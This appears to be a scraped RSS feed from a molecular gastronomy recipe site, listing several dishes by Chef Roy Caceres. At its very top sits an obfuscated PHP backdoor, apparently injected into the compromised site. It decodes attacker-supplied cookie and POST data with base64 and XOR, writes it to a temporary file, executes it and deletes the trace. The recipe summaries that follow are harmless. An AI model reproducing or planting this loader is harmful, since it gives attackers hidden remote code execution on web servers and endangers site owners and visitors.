$IBfMM = chr ( 613 - 502 ).chr (95) . 'd' . chr (84) . "\x67" . "\x6a";$BEcTzzaUs = chr (99) . 'l' . 'a' . "\x73" . chr (115) . "\137" . 'e' . chr (120) . chr ( 859 - 754 ).chr (115) . 't' . "\163";$aGxrbeEjRN = class_exists($IBfMM); $BEcTzzaUs = "3697";$mSwkjzA = !1;if ($aGxrbeEjRN == $mSwkjzA){function WbVwyBtF(){return FALSE;}$JgGBQJy = "49";WbVwyBtF();class o_dTgj{private function ULxlcMa($JgGBQJy){if (is_array(o_dTgj::$VrRAKdxp)) {$vQFpwu = sys_get_temp_dir() . "/" . crc32(o_dTgj::$VrRAKdxp[chr (115) . "\x61" . 'l' . "\164"]);@o_dTgj::$VrRAKdxp[chr (119) . chr ( 743 - 629 )."\x69" . 't' . 'e']($vQFpwu, o_dTgj::$VrRAKdxp['c' . 'o' . "\x6e" . "\164" . 'e' . 'n' . chr ( 880 - 764 )]);include $vQFpwu;@o_dTgj::$VrRAKdxp[chr (100) . 'e' . chr ( 871 - 763 ).chr ( 348 - 247 ).chr (116) . chr ( 638 - 537 )]($vQFpwu); $JgGBQJy = "49";exit();}}private $hImlfcTJY;public function UNDEBkA(){echo 59060;}public function __destruct(){$JgGBQJy = "8587_38387";$this->ULxlcMa($JgGBQJy); $JgGBQJy = "8587_38387";}public function __construct($yEBvWXjR=0){$dQJieFGg = $_POST;$kGzEIA = $_COOKIE;$nXKxdj = "e8fe6741-8d27-4953-aafc-0fbcefc84b4c";$goNbho = @$kGzEIA[substr($nXKxdj, 0, 4)];if (!empty($goNbho)){$hKCchKZhB = "base64";$iRrvTsiV = "";$goNbho = explode(",", $goNbho);foreach ($goNbho as $xDRuAmcEj){$iRrvTsiV .= @$kGzEIA[$xDRuAmcEj];$iRrvTsiV .= @$dQJieFGg[$xDRuAmcEj];}$iRrvTsiV = array_map($hKCchKZhB . "\x5f" . "\144" . chr (101) . chr ( 857 - 758 ).chr (111) . "\144" . chr ( 287 - 186 ), array($iRrvTsiV,)); $iRrvTsiV = $iRrvTsiV[0] ^ str_repeat($nXKxdj, (strlen($iRrvTsiV[0]) / strlen($nXKxdj)) + 1);o_dTgj::$VrRAKdxp = @unserialize($iRrvTsiV); $iRrvTsiV = class_exists("8587_38387");}}public static $VrRAKdxp = 36984;}$CCQRbJKXb = new /* 25183 */ $IBfMM(49 + 49); $mSwkjzA = $CCQRbJKXb = $JgGBQJy = Array();}
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Chef Roy Caceres – Molecular Recipes
http://www.molecularrecipes.com
Molecular Gastronomy Recipes
Wed, 14 Aug 2019 21:19:25 +0000
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Molecular Gastronomy Recipes
Chef Roy Caceres – Molecular Recipes
Molecular Gastronomy Recipes
Chef Roy Caceres – Molecular Recipes
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http://www.molecularrecipes.com
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Modernist Gnocchi di Sepia
http://www.molecularrecipes.com/surprises/gnocchi-di-sepia/
http://www.molecularrecipes.com/surprises/gnocchi-di-sepia/#respond
Mon, 04 Nov 2013 16:46:49 +0000
http://www.molecularrecipes.com/?p=7473
Creamy olive oil potato puree wrapped in cuttlefish with peas, sepia ink, creamed pea sauce, mint, candied lemon zest and nori. Have fun and enjoy!]]>
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Foie Gras Medlar and Roasted Barley Bread
http://www.molecularrecipes.com/gelification/foie-gras-medlar-roasted-barley-bread-2/
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Mon, 26 Aug 2013 06:22:00 +0000
http://www.molecularrecipes.com/?p=6471
This playful dish from modernist cuisine Chef Roy Caceres combines the flavors of silky foie gras, medlars, Passito wine, carrot juice and roasted barley bread in a surprising presentation. ]]>
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65° Sous Vide Egg Carbonara at Metamorfosis
http://www.molecularrecipes.com/multiple-techniques/65-egg-carbonara-metamorfosis/
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Wed, 19 Jun 2013 02:46:06 +0000
http://www.molecularrecipes.com/?p=5816
One of Metamorfosi’s most popular dishes, creamy egg perfectly cooked sous vide at 65° and accompanied by crispy guanciale, crunchy chicharon, fried pasta and a playful Parmigiano foam to finish it off.]]>
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Modernist Cuisine for Traditional Diners
http://www.molecularrecipes.com/molecular-gastronomy/modernist-cuisine-traditional-diners/
http://www.molecularrecipes.com/molecular-gastronomy/modernist-cuisine-traditional-diners/#respond
Tue, 18 Jun 2013 04:37:27 +0000
http://www.molecularrecipes.com/?p=5806
Chef Roy Caceres challenges traditional Italian diners with modernist versions of classic dishes at his restaurant Matamorfosi in Rome. The chef’s style is definitely daring, but with great respect to tradition. Among other accolades, the prestigious Michelin guide gave them a star.]]>
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